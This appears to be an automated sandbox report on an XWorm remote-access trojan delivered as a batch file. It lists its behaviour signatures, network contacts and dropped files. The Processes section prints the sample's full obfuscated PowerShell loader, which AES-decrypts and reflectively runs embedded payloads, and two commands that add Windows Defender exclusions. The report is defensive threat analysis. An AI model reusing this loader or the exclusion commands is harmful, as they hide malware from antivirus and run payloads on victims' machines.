Malware Analysis Report

2024-11-16 13:30

Sample ID 240621-tznczsxfng
Target Fanta.Live.bat
SHA256 d9765f4bf067e521fd60ce58dae185d3b2684acc8bb758f2109474a31697a517
Tags
xworm execution rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d9765f4bf067e521fd60ce58dae185d3b2684acc8bb758f2109474a31697a517

Threat Level: Known bad

The file Fanta.Live.bat was found to be: Known bad.

Malicious Activity Summary

xworm execution rat trojan

Xworm

Detect Xworm Payload

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Looks up external IP address via web service

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-21 16:29

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-21 16:29

Reported

2024-06-21 16:30

Platform

win10v2004-20240508-en

Max time kernel

42s

Max time network

46s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fanta.Live.bat"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fanta.Live.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EjxD+xG7Na85kgGlTssEAc5Xt3CgTxOC1t6l3g3FG9U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ycEEbUWQfAwiVVtAkmIW1g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WtZPv=New-Object System.IO.MemoryStream(,$param_var); $hQDqP=New-Object System.IO.MemoryStream; $SROyA=New-Object System.IO.Compression.GZipStream($WtZPv, [IO.Compression.CompressionMode]::Decompress); $SROyA.CopyTo($hQDqP); $SROyA.Dispose(); $WtZPv.Dispose(); $hQDqP.Dispose(); $hQDqP.ToArray();}function execute_function($param_var,$param2_var){ $oAWqJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $HLxpC=$oAWqJ.EntryPoint; $HLxpC.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Fanta.Live.bat';$ZKeYE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Fanta.Live.bat').Split([Environment]::NewLine);foreach ($Xhjpq in $ZKeYE) { if ($Xhjpq.StartsWith(':: ')) { $JfogR=$Xhjpq.Substring(3); break; }}$payloads_var=[string[]]$JfogR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'

Network

Country Destination Domain Proto
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 super-nearest.gl.at.ply.gg udp
US 147.185.221.20:17835 super-nearest.gl.at.ply.gg tcp
US 8.8.8.8:53 20.221.185.147.in-addr.arpa udp
US 147.185.221.20:17835 super-nearest.gl.at.ply.gg tcp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 57.15.31.184.in-addr.arpa udp

Files

memory/448-0-0x00007FFB9F583000-0x00007FFB9F585000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vi5h5ney.4pm.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/448-10-0x0000021BFB650000-0x0000021BFB672000-memory.dmp

memory/448-11-0x00007FFB9F580000-0x00007FFBA0041000-memory.dmp

memory/448-12-0x00007FFB9F580000-0x00007FFBA0041000-memory.dmp

memory/448-13-0x0000021BFB680000-0x0000021BFB688000-memory.dmp

memory/448-14-0x0000021BFD910000-0x0000021BFD94A000-memory.dmp

memory/448-15-0x0000021BFD970000-0x0000021BFD988000-memory.dmp

memory/1964-16-0x00007FFB9F580000-0x00007FFBA0041000-memory.dmp

memory/1964-26-0x00007FFB9F580000-0x00007FFBA0041000-memory.dmp

memory/1964-27-0x00007FFB9F580000-0x00007FFBA0041000-memory.dmp

memory/1964-30-0x00007FFB9F580000-0x00007FFBA0041000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 96b7303b3c5d43ea97d4ead95821a029
SHA1 ea1ecce72a776cd922b090f28e9d5aaca1b27539
SHA256 7e6faa0a80301b4dae2c6d499e68ad269378909cdd2dca17e972ff80d296b40f
SHA512 edc84e846ca527e28702bf981482af921d7872af10aad705b4a527921f68bd06ce38d28c6254f4197f4985297500fcecc51a9f3051915345cd2cd474e0dcd288

memory/448-43-0x0000021BFE060000-0x0000021BFE06C000-memory.dmp

memory/448-44-0x00007FFB9F583000-0x00007FFB9F585000-memory.dmp

memory/448-45-0x00007FFB9F580000-0x00007FFBA0041000-memory.dmp